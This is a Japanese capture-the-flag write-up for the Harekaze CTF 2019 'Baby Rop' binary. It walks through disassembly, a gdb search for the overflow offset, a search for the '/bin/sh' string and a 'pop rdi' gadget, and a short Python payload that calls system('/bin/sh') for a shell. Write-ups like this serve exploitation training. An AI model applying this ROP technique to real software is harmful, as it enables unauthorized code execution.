Harekaze CTF 2019 Baby Rop Writeup
はじめに
この記事は睡魔と戦いながら書いているためところどころ日本語がおかしくなる場合がございます.
いろいろ確認
ファイル
$ file babyrop babyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=b5a3b2575c451140ec967fd78cf8a60f2b7ef17f, not stripped
よくある感じの実行ファイル
セキュリティ機構
$ checksec.sh --file babyrop
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH babyrop
プログラム内で行われている処理を確認
$ r2 -AA babyrop [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Use -AA or aaaa to perform additional experimental analysis. [x] Finding function preludes [x] Enable constraint types analysis for variables -- Select your architecture with: 'e asm.arch=<arch>' or r2 -a from the shell [0x004004e0]> afl 0x004004e0 1 41 entry0 0x004004b0 1 6 sym.imp.__libc_start_main 0x00400510 4 50 -> 41 sym.deregister_tm_clones 0x00400550 4 58 -> 55 sym.register_tm_clones 0x00400590 3 28 entry.fini0 0x004005b0 4 38 -> 35 entry.init0 0x00400690 1 2 sym.__libc_csu_fini 0x00400694 1 9 sym._fini 0x00400620 4 101 sym.__libc_csu_init 0x004005d6 1 69 main 0x00400490 1 6 sym.imp.system 0x004004c0 1 6 sym.imp.__isoc99_scanf 0x004004a0 1 6 sym.imp.printf 0x00400460 3 26 sym._init 0x004004d0 1 6 sym..plt.got 0x004001a3 1 6 fcn.004001a3 [0x004004e0]> pdf @ main / (fcn) main 69 | int main (int argc, char **argv, char **envp); | ; var char *var_10h @ rbp-0x10 | ; DATA XREF from entry0 (0x4004fd) | 0x004005d6 55 push rbp | 0x004005d7 4889e5 mov rbp, rsp | 0x004005da 4883ec10 sub rsp, 0x10 | 0x004005de bfa8064000 mov edi, str.echo__n__What_s_your_name ; 0x4006a8 ; "echo -n \"What's your name? \"" ; const char *string | 0x004005e3 e8a8feffff call sym.imp.system ; int system(const char *string) | 0x004005e8 488d45f0 lea rax, [var_10h] | 0x004005ec 4889c6 mov rsi, rax | 0x004005ef bfc5064000 mov edi, 0x4006c5 ; const char *format | 0x004005f4 b800000000 mov eax, 0 | 0x004005f9 e8c2feffff call sym.imp.__isoc99_scanf ; int scanf(const char *format) | 0x004005fe 488d45f0 lea rax, [var_10h] | 0x00400602 4889c6 mov rsi, rax | 0x00400605 bfc8064000 mov edi, str.Welcome_to_the_Pwn_World___s ; 0x4006c8 ; "Welcome to the Pwn World, %s!\n" ; const char *format | 0x0040060a b800000000 mov eax, 0 | 0x0040060f e88cfeffff call sym.imp.printf ; int printf(const char *format) | 0x00400614 b800000000 mov eax, 0 | 0x00400619 c9 leave \ 0x0040061a c3 ret [0x004004e0]>
system("echo -n \"What's your name? \");
で名前を聞かれる.scanf("%s", ~~);
で文字列を読み取る.printf("Welcome to the Pwn World, %s!\n");
で入力した名前と合わせた文字列を出力する.
RIPを奪うまでのオフセットを確認
注意すること
今回の実行ファイルは内部でsystem()
が呼ばれているため,gdbを起動したあとset follow-fork-mode parent
で親プロセスの処理を追うように設定しなければならない.
$ gdb -q ./babyrop Reading symbols from ./babyrop...(no debugging symbols found)...done. gdb-peda$ set follow-fork-mode parent gdb-peda$ break main Breakpoint 1 at 0x4005da gdb-peda$ q pochi@ubuntu:~/Desktop/Harekaze/babyrop$ gdb -q ./babyrop Reading symbols from ./babyrop...(no debugging symbols found)...done. gdb-peda$ set follow-fork-mode parent gdb-peda$ b *0x0040061a Breakpoint 1 at 0x40061a gdb-peda$ pattc 50 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA' gdb-peda$ r Starting program: /home/pochi/Desktop/Harekaze/babyrop/babyrop What's your name? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA Welcome to the Pwn World, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA! [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x0 RDX: 0x0 RSI: 0x602670 ("Welcome to the Pwn World, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA!\n") RDI: 0x1 RBP: 0x41412d4141434141 ('AACAA-AA') RSP: 0x7fffffffddd8 ("(AADAA;AA)AAEAAaAA0AAFAAbA") RIP: 0x40061a (<main+68>: ret) R8 : 0x0 R9 : 0x32 ('2') R10: 0xffffffce R11: 0x246 R12: 0x4004e0 (<_start>: xor ebp,ebp) R13: 0x7fffffffdeb0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x40060f <main+57>: call 0x4004a0 <printf@plt> 0x400614 <main+62>: mov eax,0x0 0x400619 <main+67>: leave => 0x40061a <main+68>: ret 0x40061b: nop DWORD PTR [rax+rax*1+0x0] 0x400620 <__libc_csu_init>: push r15 0x400622 <__libc_csu_init+2>: push r14 0x400624 <__libc_csu_init+4>: mov r15d,edi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffddd8 ("(AADAA;AA)AAEAAaAA0AAFAAbA") 0008| 0x7fffffffdde0 ("A)AAEAAaAA0AAFAAbA") 0016| 0x7fffffffdde8 ("AA0AAFAAbA") 0024| 0x7fffffffddf0 --> 0x100004162 0032| 0x7fffffffddf8 --> 0x4005d6 (<main>: push rbp) 0040| 0x7fffffffde00 --> 0x0 0048| 0x7fffffffde08 --> 0xf0b869d1785eacbf 0056| 0x7fffffffde10 --> 0x4004e0 (<_start>: xor ebp,ebp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x000000000040061a in main () gdb-peda$ patto (AADAA; (AADAA; found at offset: 24 gdb-peda$
"A"*24 + (飛ばしたい処理のアドレス)
で良いことがわかる.
方針
今回はプログラム内でsystem()
が使用されているため,これを使う.
次に実行させたいコマンドとして使えそうな文字列を探す.libcが与えられていない部分などからプログラム内に隠されていると予想する.
[0x004004e0]> iz [Strings] Num Paddr Vaddr Len Size Section Type String 000 0x000006a8 0x004006a8 28 29 (.rodata) ascii echo -n "What's your name? " 001 0x000006c8 0x004006c8 30 31 (.rodata) ascii Welcome to the Pwn World, %s!\n 000 0x00001048 0x00601048 7 8 (.data) ascii /bin/sh
アドレス0x00601048
に/bin/sh
という理想的な文字列が見つかった.
次はsystem()
の引数にどうやって/bin/sh
を渡すかである.x64は第一引数をrdi
レジスタに格納するのでpop rdi; ret;
というgadgetが必要.
このような場合はrp++で探すと良い.
$ rp-lin-x64 --file=babyrop --rop=1 --unique | grep "pop" 0x00400682: pop r15 ; ret ; (1 found) 0x00400540: pop rbp ; ret ; (2 found) 0x00400683: pop rdi ; ret ; (1 found)
アドレス0x00400683
に見つかったのでこれを使用する.
エクスプロイトコード
def main(): payload = "" payload += "A" * 24 payload += p64(0x400683) # pop rdi; ret; payload += p64(0x601048) # /bin/sh payload += p64(0x400490) # system@plt # 通信部分 read_until(s, "What's your name? ") s.sendall(payload + "\n") interact(s)
おわりに
追記したいことがあるので週末にでも書き足すのでよろしくお願いします.